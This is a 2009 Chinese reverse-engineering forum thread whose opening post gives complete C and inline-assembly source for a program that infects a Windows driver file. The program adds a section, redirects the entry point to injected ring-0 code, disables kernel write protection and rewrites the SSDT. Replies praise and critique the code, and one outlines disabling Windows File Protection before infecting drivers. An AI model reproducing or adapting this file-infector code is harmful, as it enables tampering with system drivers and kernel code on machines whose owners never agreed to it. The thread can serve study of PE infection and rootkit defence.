首页
社区
课程
招聘
[原创]ring3下感染驱动->恢复ssdt
发表于: 2009-3-11 17:22 17003

[原创]ring3下感染驱动->恢复ssdt

2009-3-11 17:22
17003
ring3下感染驱动文件,定位内核导出函数,恢复ssdt。。。。。。。

完整代码:

#include <windows.h>
#include <stdio.h>
#include <assert.h>
#define SECTION_SIZE		0x1000 	
#define SECTION_NAME		".ssdt"	


typedef struct {
    WORD    offset:12;
    WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

typedef LONG NTSTATUS;

DWORD ssdt[284]={0};

typedef NTSTATUS (CALLBACK* NTQUERYSYSTEMINFORMATION)(    
													  DWORD    SystemInformationClass,
													  PVOID    SystemInformation,
													  ULONG    SystemInformationLength,
													  PULONG    ReturnLength
													  );


typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
    ULONG    Reserved[2];
    PVOID    Base;
    ULONG    Size;
    ULONG    Flags;
    USHORT    Index;
    USHORT    Unknown;
    USHORT    LoadCount;
    USHORT    ModuleNameOffset;
    CHAR    ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;

typedef struct {
    DWORD    dwNumberOfModules;
    SYSTEM_MODULE_INFORMATION    smi;
} MODULES, *PMODULES;

#define    SystemModuleInformation    11


NTQUERYSYSTEMINFORMATION NtQuerySystemInformation ;



int Align(int size, int ALIGN_BASE)
{
	int ret;
	int result;

	assert( 0 != ALIGN_BASE ); 

	result = size % ALIGN_BASE;
	if (0 != result)	
	{
		ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;
	}
	else
	{
		ret = size;
	}

	return ret;
}


//增加一个节
BOOL AddSection(char *fileName)
{	IMAGE_DOS_HEADER *dosHeader;
	IMAGE_NT_HEADERS *ntHeader;
    IMAGE_SECTION_HEADER *sectionHeader;
	IMAGE_SECTION_HEADER *newSectionHeader;
	IMAGE_SECTION_HEADER *lastSectionHeader;
	int numOfSections;
		int FILE_ALIGN_MENT;
	int SECTION_ALIGN_MENT;
	

    HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
	if(hFile==INVALID_HANDLE_VALUE)
	{
		printf("CreateFile Failed\n");
		return FALSE;
	}

	HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
	if(hMap==INVALID_HANDLE_VALUE)
	{
		printf("CreateFileMapping Failed\n");
		return FALSE;
	}

	LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
	if(lpBase==NULL)
	{
		printf("MapViewOfFile Failed\n");
		return FALSE;	
	}

	dosHeader=(IMAGE_DOS_HEADER*)lpBase;

	if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
	{
		printf("This is not a windows file\n");
		return FALSE;
	}
	
	ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
	if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
	{
		printf("This is not a win32 file\n");
		return FALSE;
	}
	FILE_ALIGN_MENT=ntHeader->OptionalHeader.FileAlignment;
	SECTION_ALIGN_MENT=ntHeader->OptionalHeader.SectionAlignment;

	numOfSections=ntHeader->FileHeader.NumberOfSections;
	ntHeader->FileHeader.NumberOfSections++;
	sectionHeader=(IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS));


	lastSectionHeader=(IMAGE_SECTION_HEADER *)§ionHeader[numOfSections-1];
	newSectionHeader=(IMAGE_SECTION_HEADER *)§ionHeader[numOfSections];
	memset(newSectionHeader,0,sizeof(IMAGE_SECTION_HEADER));
	strncpy((char*)newSectionHeader->Name,SECTION_NAME,strlen(SECTION_NAME));
	newSectionHeader->VirtualAddress=Align(lastSectionHeader->VirtualAddress+lastSectionHeader->Misc.VirtualSize,SECTION_ALIGN_MENT);
	ntHeader->OptionalHeader.AddressOfEntryPoint=newSectionHeader->VirtualAddress;
	newSectionHeader->Misc.VirtualSize=Align(3000,SECTION_ALIGN_MENT);
	newSectionHeader->PointerToRawData=Align(lastSectionHeader->PointerToRawData+lastSectionHeader->SizeOfRawData,FILE_ALIGN_MENT);
    newSectionHeader->SizeOfRawData=Align(SECTION_SIZE, FILE_ALIGN_MENT);
	newSectionHeader->Characteristics=0xE0000020;
	ntHeader->OptionalHeader.SizeOfCode=Align(ntHeader->OptionalHeader.SizeOfCode+SECTION_SIZE, FILE_ALIGN_MENT);
	ntHeader->OptionalHeader.SizeOfImage=ntHeader->OptionalHeader.SizeOfImage+Align(SECTION_SIZE, SECTION_ALIGN_MENT);
	FlushViewOfFile(lpBase,0);
	UnmapViewOfFile(lpBase);
	CloseHandle(hMap);
	if(SetFilePointer(hFile,SECTION_SIZE,NULL,FILE_END)==-1)
	{
		printf("SetFilePointer failed\n");
		return FALSE;
	}
	if(!SetEndOfFile(hFile))
	{
		printf("SetEndOfFile failed\n");
		return FALSE;
	}
	CloseHandle(hFile);

	return TRUE;

}



#define  KernelBase 0x4
#define  AddressOfFunctions 0x8
#define  AddressOfNames 0xc
#define  AddressOfNameOrdinals 0x10
#define  KeServiceDescriptorTable 0x4
#define  DbgPrint 0x8
#define  PrintString 0xc
#define  oldssdt 0x10




static __declspec(naked)void DriverEntry()
{

	_asm
	{
		push ebp;
		mov ebp,esp;
		sub esp,80h;
		mov eax,[ebp+08h];
		mov ebx,[eax+0ch];//DriverStart
        mov eax,[eax+10h];//DriverSize
		add ebx,eax;
		sub ebx,0x1000; //ebx查找的起始地址
		xor eax,eax;  //eax查找偏移

//查找函数字符串
SeachKeServiceDescriptorTable: 
		cmp dword ptr[ebx+eax],0xffffffff;
		jnz aKeServiceDescriptorTable;
		mov ecx,ebx;
		add ecx,eax;
		add ecx,4;
		mov [ebp-KeServiceDescriptorTable],ecx;  //KeServiceDescriptorTable

		add eax,4;
SeachDbgPrint:
		cmp dword ptr[ebx+eax],0xfffffffe;
		jnz aDbgPrint;
		mov ecx,ebx;
		add ecx,eax;
		add ecx,4;
		mov [ebp-DbgPrint],ecx;  //DbgPrint
		add eax,4;



//查找输出字符串
Seachxxx:
		cmp dword ptr[ebx+eax],0xfffffffd;
		jnz aSeachxxx;
		mov ecx,ebx;
		add ecx,eax;
		add ecx,4;
		mov [ebp-PrintString],ecx;  
//查找old ssdt
seachSsdt:
		cmp dword ptr[ebx+eax],0xfffffffc;
		jnz aseachSsdt;
		mov ecx,ebx;
		add ecx,eax;
		add ecx,4;
		mov [ebp-oldssdt],ecx;  


		push [ebp-KeServiceDescriptorTable];
		//得到KeServiceDescriptorTable地址
	    call GetFunctionAddress;
		cmp eax,0;
		jz DriverEntryEnd;
		mov [ebp-KeServiceDescriptorTable],eax;

		push [ebp-DbgPrint];
		//得到DbgPrint函数地址
		call GetFunctionAddress;
		cmp eax,0;
		jz DriverEntryEnd;
		mov [ebp-DbgPrint],eax;
		
		push [ebp-PrintString];
		//调用DbgPrint输出信息
		call [ebp-DbgPrint];//输处信息


		//通过_KPCR结构得到kernelBase
		push    30h
		pop     fs;
		mov ecx,dword ptr fs:[34h];
		mov ecx ,[ecx+10h];
		push ecx;
		push [ebp-oldssdt];
		mov ebx,[ebp-KeServiceDescriptorTable];
		mov ebx,[ebx];
		push ebx;
		CLI  ;                 
		MOV    EAX, CR0  ;    
		AND EAX, NOT 10000H ;
		MOV    CR0, EAX;
		//恢复ssdt
		call RsetSSdt;
		MOV    EAX, CR0;        
		OR    EAX, 10000H;            
		MOV    CR0, EAX ;              
		STI;              


DriverEntryEnd:	
		xor eax,eax;
		xor ebx,ebx;
		mov esp,ebp;
		pop ebp;
		retn 8;
aKeServiceDescriptorTable:     
		inc eax;
		cmp eax,0x1000;
		jb SeachKeServiceDescriptorTable;
		jmp DriverEntryEnd;
aDbgPrint:
		inc eax;
		cmp eax,0x1000;
		jb SeachDbgPrint;
		jmp DriverEntryEnd;
aSeachxxx:
		inc eax;
		cmp eax,0x1000;
		jb Seachxxx;
		jmp DriverEntryEnd;
aseachSsdt:
		inc eax;
		cmp eax,0x1000;
		jb seachSsdt;
		jmp DriverEntryEnd;
//恢复ssdt函数
RsetSSdt:
		push ebp;
		mov ebp,esp;
		mov esi,[ebp+08h]; //now ssdt
		mov edx,[ebp+0ch]; //old ssdt
		xor eax,eax;	
start:	mov ecx,eax;
		shl ecx,2;
		mov ebx,[edx+ecx];
		add ebx,[ebp+10h];//kernelBase
		cmp ebx,[esi+ecx];
		jnz set;
		inc eax;
		cmp eax,284;
		jb start;
		jmp RsetSSdtEnd;
set:
		mov [esi+ecx],ebx;
		inc eax;
		cmp eax,284;
		jb start;
RsetSSdtEnd:
		mov esp,ebp;
		pop ebp;
		ret 0ch;
//遍历内核导出表,得到函数地址函数
GetFunctionAddress:

		push ebp;
		mov ebp,esp;
		sub esp,0x80;
		
		push    30h
		pop     fs
		mov ecx,dword ptr fs:[34h];
		mov ecx ,[ecx+10h];
	
		mov [ebp-KernelBase],ecx; //[ebp-04h]==kernelBase
		mov eax,[ecx]IMAGE_DOS_HEADER.e_lfanew;
		add eax,[ebp-KernelBase]; //eax=ntheader的地址
		mov eax,[eax]IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
		add eax,[ebp-KernelBase];  //eax=导出表地址
		mov ebx,[eax+1ch];
		add ebx,[ebp-KernelBase]; //ebx=AddressOfFunctions
		mov [ebp-AddressOfFunctions],ebx;//[ebp-08h]保存AddressOfFunctions
		mov ebx,[eax+20h];
		add ebx,[ebp-KernelBase];
		mov [ebp-AddressOfNames],ebx;//[ebp-0ch]保存AddressOfNames;
		mov ebx,[eax+24h];
		add ebx,[ebp-KernelBase];
		mov [ebp-AddressOfNameOrdinals],ebx;

		mov esi,[eax+18h];//esi=NumberOfNames
		mov [ebp-14h],esi;
		mov edx, [ebp-AddressOfNames];//edx=AddressOfNames
		xor ecx,ecx;
		xor esi,esi;

seach:
		mov ecx,esi;
		shl ecx,2;
		add ecx,edx;
		mov ecx ,[ecx];
		add ecx,[ebp-KernelBase];

		push ecx;
		push [ebp+08h];
		call CmpString;
		cmp eax,0;
		jz v1;
		jmp find
v1:
		inc esi;
		dec dword ptr[ebp-14h];
		jnz seach
		xor eax,eax
EndGetFunctionAddress:

		mov esp,ebp;
		pop ebp;

		ret 4;
find:
		shl esi,1;
		mov ebx,[ebp-AddressOfNameOrdinals];
		add ebx,esi;
		xor ecx,ecx;
		mov cx,word ptr[ebx];
		shl ecx,2;
		mov ebx ,[ebp-AddressOfFunctions];
		add ebx,ecx;
		mov eax, [ebx];
		add eax,[ebp-KernelBase];
		jmp EndGetFunctionAddress;
//字符串比较函数
CmpString:
		push ebp;
		mov ebp,esp;
		pushad;
		pushfd;
		mov eax,[ebp+08h];
		mov ebx,[ebp+0ch];
		xor ecx,ecx;
		xor esi,esi;
cmpstr:
		mov dl,byte ptr[eax+esi];
		cmp dl,0h;
		jz same;
		mov ecx,esi;
		inc esi;
		cmp byte ptr[ebx+ecx],dl;
		jz cmpstr;
		popfd;
		popad;
		xor eax,eax;
		jmp CmpStringEnd;
		
		
same:   popfd;
		popad;	
		mov eax,1;
		
CmpStringEnd:
		
		
		mov esp,ebp;
		pop ebp;
		
		ret 8;

	}


}

static __declspec(naked) Ring0CodeEnd()
{
	
	_asm ret;
	
}





BOOL GetNtQuerySystemInformation()
{
	NtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)GetProcAddress(::GetModuleHandle("ntdll"),"NtQuerySystemInformation");
	if(NtQuerySystemInformation==NULL)
		return FALSE;
	return true;
}



BOOL GetKiServiceTable(HMODULE hModule,DWORD dwKSDT)
{
	
	PDWORD    pService;
	DWORD dwKiServiceTable;
	
	PIMAGE_OPTIONAL_HEADER poh;
	IMAGE_DOS_HEADER *dosHeader;
	IMAGE_NT_HEADERS *ntHeader;
	PIMAGE_BASE_RELOCATION    pbr;
    PIMAGE_FIXUP_ENTRY    pfe;  
	DWORD dwPointer;
	DWORD point;
	dosHeader=(IMAGE_DOS_HEADER*)hModule;
	if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
	{
		printf("This is not a windows file\n");
		return FALSE;
	}
	ntHeader=(IMAGE_NT_HEADERS*)((DWORD)hModule+dosHeader->e_lfanew);
	if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
	{
		printf("This is not a win32 file\n");
		return FALSE;
	}
	poh=(PIMAGE_OPTIONAL_HEADER)((DWORD)ntHeader+sizeof(IMAGE_NT_SIGNATURE)+sizeof(IMAGE_FILE_HEADER));
	

	pbr=(PIMAGE_BASE_RELOCATION )(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress+(DWORD)hModule);
	pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
	BOOL    bFirstChunk=TRUE;
	while(bFirstChunk||pbr->VirtualAddress)
	{
		bFirstChunk=FALSE;
		for (DWORD i=0;((pbr->SizeOfBlock-8)/2)>i;i++)
		{
			if(pfe->type==IMAGE_REL_BASED_HIGHLOW)
			{
				dwPointer=pbr->VirtualAddress+pfe->offset;
				point=*(DWORD*)(dwPointer+(DWORD)hModule)-(DWORD)ntHeader->OptionalHeader.ImageBase;
				if(point==dwKSDT)
				{
					if(*(PWORD)(dwPointer+(DWORD)hModule-2)==0x05c7)
					{
						dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointer+4)-ntHeader->OptionalHeader.ImageBase;
						DWORD i=0;
						for (pService=(PDWORD)((DWORD)hModule+dwKiServiceTable);
						*pService-ntHeader->OptionalHeader.ImageBase<ntHeader->OptionalHeader.ImageBase;
						pService++,i++)
						{
								ssdt[i]=*pService-ntHeader->OptionalHeader.ImageBase;
						}
						
					}
				}
			}
			pfe++;	
		}
		pbr=(PIMAGE_BASE_RELOCATION)((DWORD)pbr+pbr->SizeOfBlock);
		pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));	
	}
	return TRUE;
}


//得到原始的ssdt
BOOL GetOldSsdt()
{
	HMODULE hModule;
	DWORD dwKSDT;

	DWORD    dwNeededSize,rc;
	PMODULES    pModules=(PMODULES)&pModules;
	PCHAR    pKernelName;
	if(!GetNtQuerySystemInformation())
	{
		printf("get NtQuerySystemInformation failed \n");
		return FALSE;
	}
	rc=NtQuerySystemInformation(SystemModuleInformation,pModules,4,&dwNeededSize);
    if (rc==STATUS_INFO_LENGTH_MISMATCH) {
        pModules=(MODULES *)GlobalAlloc(GPTR,dwNeededSize);
        rc=NtQuerySystemInformation(SystemModuleInformation,pModules,dwNeededSize,NULL);
    } else {
strange:
	printf("strange NtQuerySystemInformation()!\n");
	return FALSE;
    }
    if (!NT_SUCCESS(rc)) goto strange;
	pKernelName=pModules->smi.ModuleNameOffset+pModules->smi.ImageName;
	hModule=LoadLibraryEx(pKernelName,NULL,DONT_RESOLVE_DLL_REFERENCES);
	if(hModule==NULL)
	{
		printf("load ntkrnlpa.exe failed\n");
		return FALSE;
	}
	dwKSDT=(DWORD)GetProcAddress(hModule,"KeServiceDescriptorTable");
	if(dwKSDT==NULL)
	{
		printf("get KeServiceDescriptorTable failed");
		return  FALSE;
	}
	dwKSDT=dwKSDT-(DWORD)hModule;
	if(!GetKiServiceTable(hModule,dwKSDT))
	{
		printf("get ssdt failed\n");
		return FALSE;
	}
	return TRUE;
	
}



//得到DriverEntry数据
PVOID GetCode(DWORD *codeSize)
{
	*codeSize=(DWORD)Ring0CodeEnd-(DWORD)DriverEntry;
//	printf("codeSize:%X\n",*codeSize);
	PVOID code=malloc(*codeSize);
	memcpy(code,(PVOID)DriverEntry,*codeSize);
	return code;

	
}



//把数据写入新节
BOOL WriteCodeToFile(char *fileName,PVOID code,DWORD codeSize)
{
	IMAGE_SECTION_HEADER *sectionHeader;
	IMAGE_SECTION_HEADER *lastSectionHeader;
	HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
	if(hFile==INVALID_HANDLE_VALUE)
	{
		printf("CreateFile Failed\n");
		return FALSE;
	}
	
	HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
	if(hMap==INVALID_HANDLE_VALUE)
	{
		printf("CreateFileMapping Failed\n");
		return FALSE;
	}
	
	LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
	if(lpBase==NULL)
	{
		printf("MapViewOfFile Failed\n");
		return FALSE;	
	}
	IMAGE_DOS_HEADER *dosHeader;
	IMAGE_NT_HEADERS *ntHeader;
	dosHeader=(IMAGE_DOS_HEADER*)lpBase;
	
	if (dosHeader->e_magic!=IMAGE_DOS_SIGNATURE)
	{
		printf("This is not a windows file\n");
		return FALSE;
	}
	
	ntHeader=(IMAGE_NT_HEADERS*)((BYTE*)lpBase+dosHeader->e_lfanew);
	if(ntHeader->Signature!=IMAGE_NT_SIGNATURE)
	{
		printf("This is not a win32 file\n");
		return FALSE;
	}
	int numOfSections=ntHeader->FileHeader.NumberOfSections;
	sectionHeader=(IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS));
	lastSectionHeader=(IMAGE_SECTION_HEADER *)§ionHeader[numOfSections-1];
	DWORD codeAddress=lastSectionHeader->PointerToRawData+(DWORD)lpBase;
	memset((PVOID)codeAddress,0,SECTION_SIZE);
	memcpy((PVOID)codeAddress,code,codeSize);

	DWORD strAddress=codeAddress+codeSize+100;
	*(DWORD*)strAddress=0xffffffff;
	strAddress+=4;
	strcpy((char*)strAddress,"KeServiceDescriptorTable");
	strAddress=strAddress+strlen("KeServiceDescriptorTable")+10;

	*(DWORD*)strAddress=0xfffffffe;
	strAddress+=4;
	strcpy((char*)strAddress,"DbgPrint");
	strAddress=strAddress+strlen("DbgPrint")+10;

	*(DWORD*)strAddress=0xfffffffd;
	strAddress+=4;
	strcpy((char*)strAddress,"just for fun-----xiao ji ji\n");
	strAddress=strAddress+strlen("just for fun-----xiao ji ji\n")+10;

	*(DWORD*)strAddress=0xfffffffc;
	strAddress+=4;
	memcpy((PVOID)strAddress,ssdt,284*4);

	FlushViewOfFile(lpBase,0);
	UnmapViewOfFile(lpBase);
	CloseHandle(hMap);
	CloseHandle(hFile);
	return TRUE;


}


USHORT
ChkSum(
	   ULONG PartialSum,
	   PUSHORT Source,
	   ULONG Length
	   )
	   
{
	while (Length--) {
		PartialSum += *Source++;
		PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff);
	}
	return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff);
}

//计算校验和
BOOL CountCheckSum(char *fileName)
{
	DWORD buffSize;
	PWORD AdjustSum;
	HANDLE hFile=CreateFile(fileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
	if(hFile==INVALID_HANDLE_VALUE)
	{
		printf("CreateFile Failed\n");
		return FALSE;
	}
	buffSize=GetFileSize(hFile,NULL);
	
	HANDLE hMap=CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,NULL,NULL);
	if(hMap==INVALID_HANDLE_VALUE)
	{
		printf("CreateFileMapping Failed\n");
		return FALSE;
	}
	
	LPVOID lpBase=MapViewOfFile(hMap,FILE_MAP_WRITE,0,0,0);
	if(lpBase==NULL)
	{
		printf("MapViewOfFile Failed\n");
		return FALSE;	
	}
	USHORT PartialSum;
	PIMAGE_NT_HEADERS32 ntHeader;
	PIMAGE_DOS_HEADER dosHeader;
	PartialSum = ChkSum(0, (PUSHORT)lpBase, (buffSize + 1) >> 1);
	dosHeader=(PIMAGE_DOS_HEADER)lpBase;
	ntHeader=(PIMAGE_NT_HEADERS32)(dosHeader->e_lfanew+(DWORD)lpBase);
	if(ntHeader->OptionalHeader.Magic == 0x10B)
	{

		AdjustSum = (PUSHORT)(&((PIMAGE_NT_HEADERS32)ntHeader)->OptionalHeader.CheckSum);
		PartialSum -= (PartialSum < AdjustSum[0]);
		PartialSum -= AdjustSum[0];
		PartialSum -= (PartialSum < AdjustSum[1]);
		PartialSum -= AdjustSum[1];
		
	}
	ntHeader->OptionalHeader.CheckSum=(DWORD)PartialSum+buffSize;
	FlushViewOfFile(lpBase,0);
	UnmapViewOfFile(lpBase);
	CloseHandle(hMap);
	CloseHandle(hFile);
	return TRUE;
	
}

int main(int argc, char* argv[])
{
	char fileName[MAX_PATH];
	strcpy(fileName,argv[1]);
	if(!AddSection(fileName))
	{
		printf("Add Section failed\n");
		return 0;
	}
	DWORD codeSize;
	PVOID code=GetCode(&codeSize);
	if(code==NULL)
	{
		printf("get code failed\n");
		return 0;
	}
	if(!GetOldSsdt())
	{
		printf("get old ssdt failed\n");
		return 0;
	}
	if(!WriteCodeToFile(fileName,code,codeSize))
	{
		printf("write code to file failed\n");
		return 0;
	}
	if(!CountCheckSum(fileName))
	{
		printf("count checksum failed\n");
		return 0;
		
	}
	printf("Infect driver file successed\n");
	return 0;
}


这里只是用普通的文件读写操作来感染滴。。当然可以用更萎缩的方法
加个调用门之类的,应该效果会更好。。ring3程序能更好的控制ssdt的恢复。。。


bin:

[课程]Linux pwn 探索篇!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (22)
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
2
又是感染,太没意思了
2009-3-11 19:20
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
3
呵呵. 谢谢分享. 有代码总比没有强嘛~~
2009-3-11 20:17
0
雪    币: 49
活跃值: (12)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
4
感染也就那么回事儿。。。r3下感染定位导出函数会比较有趣。。。定位之后爱干啥干啥。。。
2009-3-11 20:57
0
雪    币: 193
活跃值: (26)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
5
大牛 会的总要照顾点不会的嘛!你很强 大家知道,但是论坛是一个多元化的论坛,里面有很多像我们这些菜鸟需要代码来学习的,    强顶楼主!
2009-3-11 22:03
0
雪    币: 22
活跃值: (423)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
代码不错 收下拉!!
可能我太菜了  我看好象最后还是涉及加载驱动的问题呀..那样还是可能出意外的
2009-3-11 22:35
0
雪    币: 308
活跃值: (25)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
7
是有关内核程序就支持!!
2009-3-11 23:13
0
雪    币: 315
活跃值: (23)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
8
那是你的理解而已,感染本就米什么难的,关键是对pe结构的掌握。我觉得写一个感染代码关键看的是你的代码的水准。尤其使用asm写出来的代码...
驱动文件同样pe文件格式,和感染exe dll米什么区别。。
感染驱动恢复ssdt只要处理好重定位,通过查找原始表的数据后,读入然后write到系统服务描述表即可。
你的增加节过程处理的有些大意:
sectionHeader=(IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS));
直接通过sizeof(IMAGE_NT_HEADERS)来定位节表,太xxx了。 你能知道人家.sys米优化过,或者是通过其他的例如fasm等可以自定义pe结构的编译器编译的吗。在你米法确定数据目录段的数量的时候还是通过[NumberOfRvaAndSizes]*8来定位节表...另外如果节表没有剩余空隙怎么办,其实我觉得扩展末尾节还是不错的。。
2009-3-11 23:55
0
雪    币: 7115
活跃值: (639)
能力值: (RANK:1290 )
在线值:
发帖
回帖
粉丝
9
  支持楼主。。。
2009-3-12 09:23
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
要的就是支持,感谢楼主的share精神
2009-3-12 22:45
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
请问添加到原驱动程序最后一节的代码是如何被调用的呢?
谢谢!
2009-4-24 10:10
0
雪    币: 412
活跃值: (30)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
12
8楼果然是强人..
2009-4-24 21:39
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
功力深厚啊
2009-5-5 16:32
0
雪    币: 213
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
thanks for sharing
2009-5-29 14:57
0
雪    币: 392
活跃值: (89)
能力值: ( LV9,RANK:280 )
在线值:
发帖
回帖
粉丝
15
学习之,8楼论述很深入精辟,谢谢楼主的分享
2009-5-29 15:13
0
雪    币: 205
活跃值: (12)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
16
好东西 就是不知道有没有修改权限呢
2009-9-14 16:27
0
雪    币: 1450
活跃值: (35)
能力值: (RANK:680 )
在线值:
发帖
回帖
粉丝
17
停止相应服务->调用sfc_os第5号导出函数->感染驱动->开启服务. 即可.
2009-9-14 17:18
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
膜拜楼主
2009-9-14 18:05
0
雪    币: 216
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
学习学习
2010-3-4 10:39
0
雪    币: 5028
活跃值: (3429)
能力值: ( LV13,RANK:283 )
在线值:
发帖
回帖
粉丝
20
学习了,谢谢分享
2010-3-6 22:46
0
雪    币: 622
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
木马里就是这么做的是吧
2010-3-7 17:31
0
雪    币: 112
活跃值: (48)
能力值: ( LV9,RANK:320 )
在线值:
发帖
回帖
粉丝
22
呼呼,,加节那块儿确实欠缺点,,
2010-3-7 20:30
0
雪    币: 135
活跃值: (76)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
完全的支持。。
2010-3-8 19:08
0
游客
登录 | 注册 方可回帖
返回
//